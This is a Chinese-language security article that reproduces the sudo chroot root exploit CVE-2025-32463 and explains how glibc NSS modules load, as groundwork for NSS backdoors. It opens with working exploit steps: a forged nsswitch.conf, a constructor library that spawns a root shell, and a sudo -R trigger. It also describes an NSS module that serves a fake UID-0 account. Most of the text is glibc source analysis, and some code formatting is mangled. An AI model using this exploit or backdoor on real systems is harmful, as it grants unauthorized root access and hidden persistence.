原创 NOP Team 2026-05-09 22:33 北京
愿心中的火永不熄灭!
赵姐是我永远的偶像!
2025 年 6 月 30 日,一个编号为 CVE-2025-32463 的 sudo 漏洞被公开披露,CVSS 评分 9.8(严重)。这个漏洞的特殊之处在于:任何本地普通用户,即使不在 sudoers 列表中,也能直接获取 root 权限。
不需要 0day,不需要复杂利用链,只需要几行命令。
漏洞的核心利用对象,是一个大多数运维人员从未关注过的配置文件——/etc/nsswitch.conf。
攻击者只需在可控目录下伪造一份 nsswitch.conf,指向一个恶意编译的 libnss_*.so.2 共享库,然后通过 sudo -R(chroot)触发加载。由于 sudo 在 chroot 后、降权前读取这份伪造的配置文件,恶意库便以 root 身份被 dlopen() 加载并执行构造函数——一个 root shell 就这样诞生了。
整个过程可以简化为:
mkdir -p /tmp/evil/{etc,lib}
echo 'passwd: files myevil' > /tmp/evil/etc/nsswitch.conf
gcc -shared -fPIC -o /tmp/evil/lib/libnss_myevil.so.2 payload.c
sudo -R /tmp/evil id
是的,就这么简单。在 Ubuntu 24.04、Fedora 41、Debian、RHEL、Arch、WSL 2 等几乎所有主流 Linux 环境上均默认可用。
这个漏洞把一个长期被忽视的系统机制推到了聚光灯下:NSS(Name Service Switch)。它不仅是一个"无聊的配置文件",更是一个天然的代码执行入口。一旦被攻击者利用,它可以成为权限提升的跳板,也可以成为长期潜伏的后门。
本文将从 NSS 机制原理出发,深入剖析 NSS 后门的技术细节,涵盖从原理到实战、从攻击到防御的完整知识体系。
环境要求:
- Docker 镜像:https://hub.docker.com/r/y4ney/cve-2025-32463-lab
- sudo 版本:1.9.14 \~ 1.9.17(可通过
sudo --version确认) - 当前用户:任意普通用户,无需 sudo 权限
- 依赖:
gcc编译器
⚠️ 以下内容仅供安全研究与授权测试使用,请勿用于非法用途。
Step 1:确认 sudo 版本
sudo --version
Step 2:创建一个无 sudo 权限的普通用户
为了更真实地模拟攻击场景,我们先创建一个不具备任何 sudo 权限的普通用户:
# 以 root 身份执行
useradd -m -s /bin/bash testuser
passwd testuser
验证该用户不在 sudoers 中:
su - testuser
sudo -l
后续所有操作均以 testuser 身份进行。
Step 3:创建工作目录
WORKDIR=$(mktemp -d)
cd$WORKDIR
Step 4:编写恶意 NSS 模块
创建 evil.c:
#include<stdlib.h>
#include<unistd.h>
__attribute__((constructor))
voidpwn(void){
setreuid(0, 0);
setregid(0, 0);
chdir("/");
execl("/bin/bash", "bash", NULL);
}
这段代码的关键在于 __attribute__((constructor))——它使得 pwn() 函数在共享库被 dlopen() 加载时自动执行,无需任何显式调用。函数内部通过 setreuid(0,0) 和 setregid(0,0) 将当前进程的 UID/GID 提升为 0(root),随后弹出一个 root shell。
Step 5:搭建伪造 chroot 环境
mkdir -p nop/etc
mkdir -p libnss_
echo"passwd: /nop" > nop/etc/nsswitch.conf
cp /etc/group nop/etc/
这里有几个要点:
nsswitch.conf中passwd:后写的/nop,NSS 会按规则拼接为libnss_/nop.so.2。由于/nop以/开头,libnss_实际上变成了一个目录名,因此需要mkdir -p libnss_创建这个目录,再将编译好的nop.so.2放入其中- 复制
/etc/group是为了让getgrnam()调用不至于直接失败
Step 6:编译恶意共享库
gcc -shared -fPIC -Wl,-init,pwn -o libnss_/nop.so.2 evil.c
Step 7:触发漏洞
sudo -R nop id
# -R nop:chroot 到 nop 目录
# id:要执行的命令(无需存在,NSS 加载阶段就已触发,不会真正执行到这里)
此时 sudo 执行流程如下:
sudo -R nop id
│
├─ chroot("nop") ← 切换根目录到攻击者可控的 nop/
│
├─ 读取 nop/etc/nsswitch.conf ← 加载伪造配置
│
├─ 解析 "passwd: /nop" ← 尝试加载 libnss_/nop.so.2
│
├─ dlopen("libnss_/nop.so.2") ← 以 root 身份加载恶意库
│
└─ pwn() 构造函数执行 ← setreuid(0,0) → root shell
如果漏洞利用成功,将直接进入一个 root shell:
Step 8:清理
rm -rf $WORKDIR
这个漏洞的根源在于 sudo 对 -R(--chroot)选项的处理时序存在缺陷:
- sudo 是一个 setuid root 二进制文件,启动时拥有 root 权限
- 从 sudo 1.9.14 开始,
-R选项会在策略评估阶段就执行chroot() - chroot 之后,sudo 仍以 root 身份调用
getpwuid()等函数进行用户身份查询 - 这些函数内部通过 NSS 机制读取
chroot内的/etc/nsswitch.conf - 攻击者完全控制 chroot 内的文件,从而注入恶意 NSS 模块
- 恶意模块在权限降低之前就已执行
简而言之:sudo 在一个攻击者可控的环境中,以 root 身份加载了攻击者指定的代码。
该漏洞已在 sudo 1.9.17p1 中修复,修复方式是回退了 1.9.14 中引入的 chroot 相关变更,并将 chroot 功能标记为 deprecated(已弃用),将在未来版本中完全移除。原因是该功能本身不被广泛使用,且由于 sudo 解析命令的方式,支持用户指定的 chroot 目录容易出错。
虽然漏洞已经修复了,但是关于 NSS 后门的相关探索还没开始,接下来我们将一点一点探索。
本文 PDF 版本下载地址: https://github.com/Just-Hack-For-Fun/papers
NSS,全称 Name Service Switch(名称服务切换),是 Linux/Unix 系统中用于控制"各类名称信息如何解析"的机制。
通俗地说,当系统需要回答这些问题时:
- "用户 alice 的 UID 是多少?"
- "www.example.com 的 IP 地址是什么?"
- "80 端口对应什么服务?"
- "用户 alice 属于哪些组?"
背后都是 NSS 在决定去哪里查、按什么顺序查。
NSS 的行为由 /etc/nsswitch.conf 控制。一个典型的配置文件如下:
passwd: files systemd
group: files systemd
shadow: files
hosts: files dns mdns4_minimal [NOTFOUND=return] dns
networks: files
protocols: files
services: files
ethers: files
每一行的格式为:
<数据库>: <数据源1> [数据源2] [数据源3] ...
系统会从左到右依次查询,直到找到结果或全部尝试完毕。
以下为 glibc 支持的用户可见数据库列表(来源:man nsswitch.conf 及 glibc 源码 nss/databases.def):
| 数据库 | 用途 | 相关函数 |
|---|---|---|
aliases |
邮件别名(当前被 glibc 忽略) | getaliasent(3) |
ethers |
以太网 MAC 地址映射 | ether_hostton(3) |
group |
用户组信息 | getgrent(3) |
gshadow |
组密码哈希(shadow group) | getsgnam(3) |
hosts |
主机名 ↔ IP 映射 | gethostbyname(3) |
initgroups |
补充组访问列表 | getgrouplist(3) |
netgroup |
网络范围的主机/用户列表(用于访问控制) | setnetgrent(3) |
networks |
网络名 ↔ 网络地址 | getnetent(3) |
passwd |
用户账号信息 | getpwent(3) |
protocols |
网络协议名 ↔ 协议号 | getprotoent(3) |
publickey |
Secure RPC 公钥/私钥(NFS、NIS+ 使用) | — |
rpc |
RPC 程序名 ↔ 程序号 | getrpcbyname(3) |
services |
网络服务名 ↔ 端口映射 | getservent(3) |
shadow |
用户密码哈希(shadow password) | getspnam(3) |
说明:glibc 内部还定义了 passwd_compat、group_compat、shadow_compat 三个伪数据库,用于 compat 模式下的 NIS 查询,普通用户无需关心,因此未列入上表。
此外,一些应用程序会扩展自己的 NSS 数据库。例如 sudo 使用 sudoers 数据库,subuid(5) / subgid(5) 使用 subid 数据库。glibc 会忽略未知的数据库名,而第三方程序可以自行解析。
与数据库不同,数据源列表不是固定的。NSS 的数据源完全取决于系统上安装了哪些 libnss_*.so.2 共享库——每安装一个共享库,就多一个可用的数据源。
我们可以通过查看系统上的库文件来确认当前可用的数据源:
find / -name 'libnss_*.so*' -type f 2>/dev/null
Ubuntu Server 24.04 系统上默认有 5 个 NSS 库,对应 5 个数据源。其中 4 个来自 glibc 内置,另外 1 个 libnss_systemd.so.2 来自 systemd 包。如果安装了 libnss-ldap 包,就会多出 libnss_ldap.so.2,数据源列表也随之增长。
可以通过 dpkg -S 确认每个库所属的软件包:
libnss_compat.so.2 → libc6 (glibc)
libnss_dns.so.2 → libc6 (glibc)
libnss_files.so.2 → libc6 (glibc)
libnss_hesiod.so.2 → libc6 (glibc)
libnss_systemd.so.2 → libnss-systemd
以下是 glibc 内置的标准数据源(共 4 个,均来自 libc6 包):
| 数据源 | 共享库 | 说明 |
|---|---|---|
files |
libnss_files.so.2 |
查本地文件(如 /etc/passwd、/etc/hosts) |
dns |
libnss_dns.so.2 |
通过 DNS 协议查询(仅 hosts 数据库可用) |
compat |
libnss_compat.so.2 |
兼容模式,类似 files 但支持 NIS 特殊条目(+/-) |
hesiod |
libnss_hesiod.so.2 |
通过 Hesiod 名称服务查询(MIT 开发的 DNS 式目录服务) |
以下为常见的第三方扩展数据源(需额外安装对应软件包):
| 数据源 | 安装包 | 说明 |
|---|---|---|
systemd |
systemd (通常预装) |
查 systemd-machined / systemd-resolved |
ldap |
libnss-ldap |
查 LDAP 目录服务 |
sss |
sssd |
查 SSSD(System Security Services Daemon) |
winbind |
winbind (Samba) |
查 Windows 域控制器 |
nis / nisplus |
libnss-nis |
查 NIS/NIS+ 网络信息服务 |
mdns4_minimal |
libnss-mdns |
通过 mDNS(组播 DNS)在局域网内查询 |
resolve |
systemd-resolved |
通过 systemd-resolved 查询 |
myhostname |
systemd |
将本地主机名解析为本地 IP |
mymachines |
systemd |
解析本地容器(systemd-nspawn)的主机名 |
这种"共享库即数据源"的设计,正是 NSS 后门得以实现的基础——攻击者只需提供一个自定义的 libnss_*.so.2,就能让系统加载并执行任意代码。
如果阅读过《程序员的自我修养》这本书,一定对这部分内容不陌生
所有 NSS 库文件名都以 .so.2 结尾,而不是常见的 .so。这里的 .2 是共享库的 SONAME 版本号,代表 ABI(应用二进制接口)的兼容版本。
man nsswitch.conf 中有明确说明:
Libraries called /lib/libnss_SERVICE.so.X will provide the named SERVICE. The version number X may be 1 for glibc 2.0, or 2 for glibc 2.1 and later.
| SONAME | 对应 glibc 版本 |
|---|---|
.so.1 |
glibc 2.0(已淘汰) |
.so.2 |
glibc 2.1 及之后所有版本(当前所有现代 Linux) |
glibc 在内部通过 dlopen() 加载 NSS 模块时,硬编码查找的就是 libnss_xxx.so.2。这意味着:
- 攻击者构造恶意库时,文件名必须是
libnss_xxx.so.2,而不能是libnss_xxx.so - 这也是为什么在前面漏洞复现的编译步骤中,输出文件名必须带
.so.2后缀
当执行 ping www.example.com 时,系统内部实际的解析流程是:
ping www.example.com
│
└─ gethostbyname("www.example.com") ← glibc 函数调用
│
└─ NSS 读取 /etc/nsswitch.conf 中 hosts 行
│
│ hosts: files dns mdns4_minimal
│
├─ 先查 files → /etc/hosts 中有没有?没有则继续
│
└─ 再查 dns → 发起 DNS 查询 → 获得 93.184.216.34
可以看到,NSS 作为一个中间层,连接了上层的 glibc 函数调用(如 gethostbyname、getpwnam)和底层的各种数据源(本地文件、DNS、LDAP 等)。
NSS 最关键的设计在于:每个数据源对应一个共享库文件。
当 NSS 需要查询某个数据源时,它通过 dlopen()动态加载对应的共享库。库文件的命名规则为:
libnss_<数据源名>.so.2
例如:
| 数据源 | 对应的共享库 |
|---|---|
files |
/lib/x86_64-linux-gnu/libnss_files.so.2 |
dns |
/lib/x86_64-linux-gnu/libnss_dns.so.2 |
ldap |
/lib/x86_64-linux-gnu/libnss_ldap.so.2 |
mdns4_minimal |
/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 |
这意味着:只要能在 nsswitch.conf 中控制数据源名称,就能让系统加载任意的 .so 文件。
这也是 CVE-2025-32463 以及各类 NSS 后门的核心利用点——下一节我们将深入探讨这一点。
本章源码分析基于 glibc 2.39(Ubuntu 24.04 当前版本),源码获取方式:git clone --branch glibc-2.39 https://sourceware.org/git/glibc.git
/etc/nsswitch.conf 每一行的完整语法为:
<数据库>: <数据源1> [STATUS=ACTION] <数据源2> [STATUS=ACTION] ...
- 数据库:第一列,如 passwd、hosts、group 等(0x02 已列出完整列表)
- 数据源:后续每列,如 files、dns、ldap 等
- 条件动作:用方括号 [...] 包裹,紧跟在数据源后面
系统按从左到右的顺序依次查询每个数据源,查询结果会触发对应的条件动作,决定是继续还是停止。
每次 NSS 查询可能返回以下四种状态(定义于 nss/nss.h)。另外,NSS_STATUS_RETURN 是 glibc 内部使用的第五个枚举值,主要用于边界检查和 compat/netgrp 等内部模块的特殊流程控制,第三方 NSS 模块通常不需要返回该状态:
enum nss_status
{
NSS_STATUS_TRYAGAIN = -2, // 服务暂时不可用(如文件被锁、服务器繁忙)
NSS_STATUS_UNAVAIL, // 服务永久不可用(如文件不存在、服务器离线)
NSS_STATUS_NOTFOUND, // 查询成功但未找到目标条目
NSS_STATUS_SUCCESS, // 查询成功且找到了目标条目
NSS_STATUS_RETURN, // 内部标记值,用于边界检查和终止动作,不由模块返回
};
| 动作 | 含义 |
|---|---|
return |
立即返回当前结果,不再查询后续数据源 |
continue |
忽略当前结果,继续查询下一个数据源 |
merge |
合并当前结果与下一个数据源的结果(仅 group 数据库支持,glibc 2.24+) |
[STATUS=ACTION]
[!STATUS=ACTION]
!表示取反:匹配除指定状态外的所有状态- 大小写不敏感(源码中使用
__strncasecmp比较) - 一个方括号内可以写多个条件,用空格分隔
如果不写任何 [STATUS=ACTION],每个数据源使用以下默认动作:
| STATUS | 默认 ACTION |
|---|---|
SUCCESS |
return |
NOTFOUND |
continue |
UNAVAIL |
continue |
TRYAGAIN |
continue |
这个默认行为在源码 nss/nss_action_parse.c 中可以清晰看到(第 64-66 行):
nss_action_set_all (&new_service, NSS_ACTION_CONTINUE);
nss_action_set (&new_service, NSS_STATUS_SUCCESS, NSS_ACTION_RETURN);
nss_action_set (&new_service, NSS_STATUS_RETURN, NSS_ACTION_RETURN);
即:先将所有状态设为 CONTINUE,然后将 SUCCESS 和 RETURN 覆盖为 RETURN。
示例 1:Ubuntu 24.04 实际配置
hosts: files dns
解析流程:
1. 查 files(本地 /etc/hosts)
- SUCCESS → return(默认:找到了就直接返回)
- NOTFOUND → continue(默认:没找到继续查 dns)
- UNAVAIL → continue(默认)
2. 查 dns(DNS 服务器查询)
- SUCCESS → return(默认)
- NOTFOUND → return(默认)
- UNAVAIL → return(默认)
示例 2:带条件动作的配置(常见于安装了 mDNS 的系统)
`hosts: files mdns4_minimal [NOTFOUND=return] dns````
1. 查 files(本地 /etc/hosts)
- SUCCESS → return(默认)
- NOTFOUND → continue(默认)
- UNAVAIL → continue(默认)
2. 查 mdns4_minimal(mDNS 局域网解析)
- SUCCESS → return(默认)
- NOTFOUND → return(显式指定:局域网没找到就放弃,不再查后面的 dns)
- UNAVAIL → continue(默认)
3. 查 dns(DNS 服务器查询)
- 作为 mdns4_minimal NOTFOUND 之外情况的后备
**示例 3:取反操作符**
`hosts: dns [!UNAVAIL=return] files`
`!UNAVAIL=return` 的含义是:对**除 UNAVAIL 之外**的所有状态执行 `return`。等价于同时写了:
`hosts: dns [SUCCESS=return NOTFOUND=return TRYAGAIN=return] files`
即:DNS 只要在运行(不管找到没找到),就直接返回结果;只有 DNS 完全不可用时,才回退到 files。
在理解 NSS 后门之前,必须搞清楚一个容易混淆的问题。以 passwd 数据库为例:
`passwd: files ldap`
当查找用户 `test1` 时,如果 `/etc/passwd` 中没有这个用户,`files` 数据源会返回什么状态?
很多人会直觉认为是"没找到"或者"不可用",但 NSS 对此有精确的区分:
| 状态 | 含义 | 触发条件 | 默认动作 |
|---|---|---|---|
| `NOTFOUND` | 数据源可用,但查不到目标条目 | `/etc/passwd` 正常打开、逐行遍历完毕,但里面没有 test1 | `continue` |
| `UNAVAIL` | 数据源本身不可用 | `/etc/passwd` 文件不存在,或无法打开 | `continue` |
两者的默认动作都是 `continue`,会继续查下一个数据源。也就是说:
- `files` 中**没找到**用户 → 返回 `NOTFOUND` → `continue` → 继续查 `ldap`
- `files`**不可用**(文件被删)→ 返回 `UNAVAIL` → `continue` → 继续查 `ldap`
- `files` 中**找到了**用户 → 返回 `SUCCESS` → `return` → 停止查询,不再查 `ldap`
**这个"NOTFOUND 默认 continue"的行为,正是 NSS 后门的核心前提**:攻击者可以在 `files` 后面追加一个恶意数据源(如 `nop`),当系统用户查找在 `/etc/passwd` 中找不到时,查询会自动落到恶意模块上。恶意模块可以返回一个伪造的用户条目(如 UID=0 的后门账户),而合法用户(在 `files` 中能找到的)完全不受影响。
本节将从源码层面追踪一个完整的 NSS 查询过程。
先从一个日常场景说起:当你在终端执行 `id alice` 时,系统需要知道用户 alice 的 UID、GID、所属组等信息。这些信息存储在 `/etc/passwd` 中,但系统并不是直接读文件——而是通过 glibc 提供的 `getpwnam()` 函数来查询。
`getpwnam("alice")` 的含义是:"按用户名(passwd name)查找用户信息"。它返回一个 `struct passwd` 结构体,包含用户名、UID、GID、home 目录、shell 等字段。
许多常见的系统操作都会间接调用这个函数:
| 命令/操作 | 内部调用 |
|---|---|
| `id alice` | `getpwnam("alice")` |
| `ls -l` (显示文件属主) | `getpwuid(uid)` (按 UID 查) |
| `ssh alice@host` | `getpwnam("alice")` |
| `sudo` | `getpwuid(uid)` + `getpwnam(name)` |
| `login` | `getpwnam("alice")` |
而 `getpwnam()` 正是通过 NSS 机制来决定"去哪里查"。接下来我们就追踪这个调用链。
应用程序: getpwnam("alice")
│
└─ glibc: __getpwnam_r("alice", ...) ← getXXbyYY_r.c 模板展开
│
├─ __nss_passwd_lookup2(&nip, ...) ← 获取 passwd 数据库的配置
│ │
│ └─ __nss_database_get(nss_database_passwd, &actions) ← nss_database.c
│ │
│ └─ nss_database_check_reload_and_get(...) ← 检查是否需要重新加载配置
│
├─ __nss_lookup_function(nip, "getpwnam_r") ← nsswitch.c
│ │
│ └─ __nss_module_get_function(module, "getpwnam_r") ← nss_module.c
│ │
│ ├─ __nss_module_load(module) ← 确保 .so 已加载
│ │ │
│ │ └─ module_load(module) ← 实际加载逻辑
│ │ │
│ │ ├─ files/dns → 内置模块,直接绑定函数指针
│ │ └─ 其他 → __libc_dlopen("libnss_xxx.so.2")
│ │
│ └─ 从已加载模块中查找 "_nss_files_getpwnam_r" 函数
│
└─ 调用 _nss_files_getpwnam_r("alice", ...) ← 执行实际查询
当进程首次进行 NSS 查询时,glibc 调用 `__nss_database_get()`(`nss/nss_database.c`),该函数内部调用 `nss_database_check_reload_and_get()`:
**检查配置是否变化**(`nss_database.c` 第 409-414 行):
structfile_change_detectioninitial;
if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF))
returnfalse;
__libc_lock_lock (local->lock);
if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))
{
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
returntrue;
}
glibc 通过 `stat()` 系统调用检测 `/etc/nsswitch.conf` 的**文件元信息**(大小、修改时间等)是否变化。如果没变,直接返回缓存的配置。如果变化了,就重新打开文件、逐行解析。
**逐行解析**(`nss_database.c` 第 208-237 行):
staticbool
process_line(struct nss_database_data data, char line)
{
// 跳过前导空白
while (isspace (line[0])) ++line;
// 识别 " :" 部分
char *name = line;
while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':') ++line;
// ... 截断冒号和空白 ...
int db = name_to_database_index (name);
if (db < 0)
returntrue; // 不是 glibc 管理的数据库(如 sudoers),跳过
nss_action_list result = __nss_action_parse (line); // 解析数据源列表
data->services[db] = result;
returntrue;
}
注意第 228-230 行:如果数据库名不在 glibc 已知列表中(如 `sudoers`),会被**静默忽略**。
当查询需要使用某个数据源时,`__nss_module_get_function()`(`nss/nss_module.c` 第 323 行)被调用。它先确保模块已加载,然后查找函数指针。
**加载模块的核心逻辑**(`nss_module.c` 第 170-189 行):
staticbool
module_load(struct nss_module module)
{
// files 和 dns 是内置模块,不走 dlopen
if (strcmp (module->name, "files") == 0)
return module_load_nss_files (module);
if (strcmp (module->name, "dns") == 0)
return module_load_nss_dns (module);
// 其他模块:构造文件名并 dlopen
char shlib_name;
if (__asprintf (&shlib_name, "libnss_%s.so%s",
module->name, __nss_shlib_revision) < 0)
returnfalse;
handle = __libc_dlopen (shlib_name);
free (shlib_name);
**文件名构造规则**(`nss_module.c` 第 43-44 行):
staticconstchar *const __nss_shlib_revision
= LIBNSS_FILES_SO + sizeof("libnss_files.so") - 1;
`LIBNSS_FILES_SO` 是编译时生成的宏,值为 `"libnss_files.so.2"`。通过指针偏移提取出 `".2"` 部分。然后用 `__asprintf` 拼接为:
例如数据源名为 `files` → `libnss_files.so.2`,数据源名为 `ldap` → `libnss_ldap.so.2`。
**`__libc_dlopen` 的搜索路径**:
`__libc_dlopen` 是 glibc 内部版本的 `dlopen`,它**不受**`LD_LIBRARY_PATH` 环境变量影响(出于安全考虑)。它搜索的路径由 `/etc/ld.so.cache` 和默认路径 `/lib/x86_64-linux-gnu/`、`/usr/lib/x86_64-linux-gnu/` 决定。
**加载后查找函数**(`nss_module.c` 第 226-239 行):
for (size_t idx = 0; idx < array_length (nss_function_name_array); ++idx)
{
char function_name;
if (__asprintf (&function_name, "nss%s_%s",
module->name, nss_function_name_array[idx]) < 0)
{ / ... */ }
pointers[idx] = __libc_dlsym (handle, function_name);
free (function_name);
}
加载 `.so` 后,glibc 会立即用 `dlsym` 查找模块中所有可能的 NSS 函数(如 `_nss_files_getpwnam_r`、`_nss_files_getpwuid_r` 等),缓存函数指针。**模块不需要导出所有函数**,缺失的函数指针为 NULL,查询时会跳过。
回到查询入口 `getXXbyYY_r.c`(第 264-345 行),核心循环如下:
no_more = DB_LOOKUP_FCT (&nip, REENTRANT_NAME_STRING, ...);
while (no_more == 0)
{
status = DL_CALL_FCT (fct.l, (ADD_VARIABLES, resbuf, buffer, ...));
// 根据 status 和配置中的 [STATUS=ACTION] 决定下一步
no_more = __nss_next2 (&nip, ..., status, 0);
}
每次调用一个数据源的函数后,`__nss_next2()`(`nsswitch.c` 第 91 行)根据返回的 `status` 查找配置中对应的 action:
- `NSS_ACTION_RETURN` → 结束查询,返回当前结果
- `NSS_ACTION_CONTINUE` → 移动到下一个数据源,继续查询
- `NSS_ACTION_MERGE` → 合并结果后继续
基于对 glibc 源码的分析,本节将总结编写 NSS 模块的通用规范。理解这些规范后,你可以为任意数据库(passwd、hosts、group 等)编写自定义模块。
所有 NSS 模块导出的函数遵循统一的命名规则:
`_nss_<数据源名>_<NSS函数名>`
其中 `<NSS函数名>` 来自 glibc 维护的固定列表(定义于 `nss/function.def`,共 **64 个**函数)。glibc 在加载模块时会遍历这个列表,用 `dlsym` 查找每个函数是否存在。
完整的函数列表如下:
endaliasent getaliasbyname_r getaliasent_r setaliasent
endetherent getetherent_r gethostton_r getntohost_r setetherent
endgrent getgrent_r getgrgid_r getgrnam_r setgrent
endhostent gethostbyaddr_r gethostbyaddr2_r gethostbyname_r gethostbyname2_r
gethostbyname3_r gethostbyname4_r gethostent_r sethostent
getcanonname_r
endnetent getnetbyaddr_r getnetbyname_r getnetent_r setnetent
endnetgrent getnetgrent_r setnetgrent
endprotoent getprotobyname_r getprotobynumber_r getprotoent_r setprotoent
endpwent getpwent_r getpwnam_r getpwuid_r setpwent
endrpcent getrpcbyname_r getrpcbynumber_r getrpcent_r setrpcent
endservent getservbyname_r getservbyport_r getservent_r setservent
endsgent getsgent_r getsgnam_r setsgent
endspent getspent_r getspnam_r setspent
getpublickey getsecretkey
initgroups_dyn netname2user
一个模块**不需要导出所有 64 个函数**。glibc 会用 `dlsym` 逐个查找,找不到的函数指针置为 NULL,查询时自动跳过。模块只需实现自己关心的数据库对应的函数子集。
为了更直观地理解,我们将 64 个函数按数据库分组:
**passwd 数据库**(用户信息):
| 函数名 | 用途 |
|---|---|
| `_nss_xxx_setpwent` | 初始化遍历 |
| `_nss_xxx_endpwent` | 结束遍历 |
| `_nss_xxx_getpwent_r` | 逐条遍历 |
| `_nss_xxx_getpwnam_r` | 按用户名查找 |
| `_nss_xxx_getpwuid_r` | 按 UID 查找 |
**group 数据库**(用户组信息):
| 函数名 | 用途 |
|---|---|
| `_nss_xxx_setgrent` | 初始化遍历 |
| `_nss_xxx_endgrent` | 结束遍历 |
| `_nss_xxx_getgrent_r` | 逐条遍历 |
| `_nss_xxx_getgrnam_r` | 按组名查找 |
| `_nss_xxx_getgrgid_r` | 按 GID 查找 |
| `_nss_xxx_initgroups_dyn` | 获取用户的补充组列表 |
**hosts 数据库**(主机名解析):
| 函数名 | 用途 |
|---|---|
| `_nss_xxx_sethostent` | 初始化遍历 |
| `_nss_xxx_endhostent` | 结束遍历 |
| `_nss_xxx_gethostent_r` | 逐条遍历 |
| `_nss_xxx_gethostbyname_r` | 按主机名查找(IPv4) |
| `_nss_xxx_gethostbyname2_r` | 按主机名查找(指定地址族) |
| `_nss_xxx_gethostbyname3_r` | 扩展版(含额外统计信息) |
| `_nss_xxx_gethostbyname4_r` | 支持 IPv6 的扩展版 |
| `_nss_xxx_gethostbyaddr_r` | 按 IP 地址反查主机名 |
| `_nss_xxx_gethostbyaddr2_r` | 扩展版 |
| `_nss_xxx_getcanonname_r` | 获取规范主机名 |
可以看到,不同数据库的函数数量和复杂度差异很大。passwd 最简单(5 个函数),hosts 最复杂(10 个函数)。一个最小化的模块通常只实现其中的 1-2 个查询函数即可。
所有 NSS 查询函数(无论哪个数据库)都返回 `enum nss_status`(`nss/nss.h`):
enum nss_status
{
NSS_STATUS_TRYAGAIN = -2, // 临时失败(如缓冲区太小)
NSS_STATUS_UNAVAIL, // 服务不可用
NSS_STATUS_NOTFOUND, // 查询完成但未找到
NSS_STATUS_SUCCESS, // 查询成功
};
所有查询函数都遵循相同的参数模式:
enum nss_status
_nss_xxx_getXXbyYY_r (<查询参数>,
<结果结构体> result,
char buffer,
size_t buflen,
int *errnop)
- **查询参数**:因数据库而异(如 passwd 是 `const char *name` 或 `uid_t uid`,hosts 是 `const char *hostname`)
- **result**:输出参数,结构体类型因数据库而异(`struct passwd`、`struct hostent`、`struct group` 等)
- **buffer**:调用方提供的缓冲区,用于存放 result 中指针所指向的字符串数据
- **buflen**:缓冲区大小
- **errnop**:错误码输出,`ERANGE` 表示缓冲区太小
理解了命名规则和调用约定后,我们来看 glibc 官方模块的完整执行流程。以 passwd 数据库为例,当应用程序调用 `getpwnam("alice")` 时,经过 3.2 节分析的 NSS 框架层后,最终会调用到 `libnss_files.so.2` 中的 `_nss_files_getpwnam_r` 函数。
**这个函数从哪里来?**
`nss/nss_files/files-pwd.c` 整个文件只有约 45 行:
include
include
define STRUCTURE passwd
define ENTNAME pwent
define DATABASE "passwd"
structpwent_data {};
define EXTERN_PARSER
include"files-parse.c"
include GENERIC
DB_LOOKUP (pwnam, '.', 0, ("%s", name),
{
if (name[0] != '+' && name[0] != '-'
&& ! strcmp (name, result->pw_name))
break;
}, constchar *name)
DB_LOOKUP (pwuid, '=', 20, ("%lu", (unsignedlongint) uid),
{
if (result->pw_uid == uid && result->pw_name[0] != '+'
&& result->pw_name[0] != '-')
break;
}, uid_t uid)
代码很短,但信息量很大。先看前半部分的宏定义和 include:
- `STRUCTURE passwd` → 结果结构体类型为 `struct passwd`
- `DATABASE "passwd"` → 数据文件路径为 `/etc/passwd`(由 `files-XXX.c` 中 [#define] DATAFILE "/etc/" DATABASE
- `ENTNAME pwent` → 用于拼接函数名(如 `_nss_files_setpwent`、`_nss_files_endpwent`)
- [#include] "files-parse.c"`/etc/passwd` 的每一行文本解析为 `struct passwd`
- [#include] GENERIC`files-XXX.c`)→ 引入通用框架,提供 `setpwent`/`endpwent`/`getpwent_r` 等函数,以及 `DB_LOOKUP` 宏定义
再看后半部分的 `DB_LOOKUP` 调用。`DB_LOOKUP` 是定义在 `files-XXX.c` 中的一个宏,它是一个**函数生成器**,通过 C 预处理自动生成完整的查询函数。宏定义如下:
#define DB_LOOKUP(name, db_char, keysize, keypattern, break_if_match, proto...)\
enum nss_status \
_nss_files_get#
struct STRUCTURE result, char buffer, \
size_t buflen, int errnop) \
{ \
enum nss_status status; \
FILE stream = NULL; \
status = internal_setent (&stream); \
if (status == NSS_STATUS_SUCCESS) \
{ \
while ((status = internal_getent (stream, result, buffer, buflen, errnop))\
== NSS_STATUS_SUCCESS) \
{ break_if_match } \
fclose (stream); \
} \
return status; \
}
[#name]##_r (proto, \
以 `DB_LOOKUP(pwnam, ...)` 为例,参数对应关系为:
| 宏参数 | 传入值 | 展开后的作用 |
|---|---|---|
| `name` | `pwnam` | 通过 `##` 标记粘合拼接函数名 → `_nss_files_getpwnam_r` |
| `db_char` | `'.'` | 数据库分隔符(本模板未使用) |
| `keysize` | `0` | 键大小(本模板未使用) |
| `keypattern` | `("%s", name)` | 键格式(本模板未使用) |
| `break_if_match` | `{ if (...) break; }` | 替换到 while 循环体内,作为匹配条件 |
| `proto...` | `const char *name` | 变长参数,展开到函数参数列表开头 |
展开过程中有三个关键机制:
1. **`#` 标记粘合(token pasting)**:C 预处理将 `_nss_files_get` + `pwnam` + `_r` 拼成一个标识符 `_nss_files_getpwnam_r`
2. **`proto...` 变长宏参数**:`const char *name` 原样展开到函数参数列表的第一个位置
3. **`STRUCTURE` 宏替换**:`files-pwd.c` 开头定义了 [#define] STRUCTURE passwd`struct STRUCTURE` 变成 `struct passwd`
展开后的完整函数如下:
enum nss_status
_nss_files_getpwnam_r (constchar name,
struct passwd result,
char buffer,
size_t buflen,
int errnop)
{
enum nss_status status;
FILE *stream = NULL;
status = internal_setent (&stream);
if (status == NSS_STATUS_SUCCESS)
{
while ((status = internal_getent (stream, result, buffer, buflen, errnop))
== NSS_STATUS_SUCCESS)
{
if (name[0] != '+' && name[0] != '-'
&& ! strcmp (name, result->pw_name))
break;
}
fclose (stream);
}
return status;
}
**完整的执行流程如下:**
_nss_files_getpwnam_r("alice", ...)
│
├─ 1. internal_setent(&stream)
│ ├─ 调用 __nss_files_fopen(DATAFILE)
│ │ DATAFILE = "/etc/" + DATABASE = "/etc/passwd"
│ ├─ 打开成功 → 返回 NSS_STATUS_SUCCESS
│ └─ 打开失败(文件不存在)→ 返回 NSS_STATUS_UNAVAIL
│
├─ 2. internal_getent(stream, result, buffer, ...) ← 循环调用
│ ├─ __nss_readline() 从文件读取一行文本
│ │ ├─ 文件结束 → 返回 NSS_STATUS_NOTFOUND
│ │ └─ 读取成功 → 继续
│ ├─ parse_line() 将文本行解析为 struct passwd
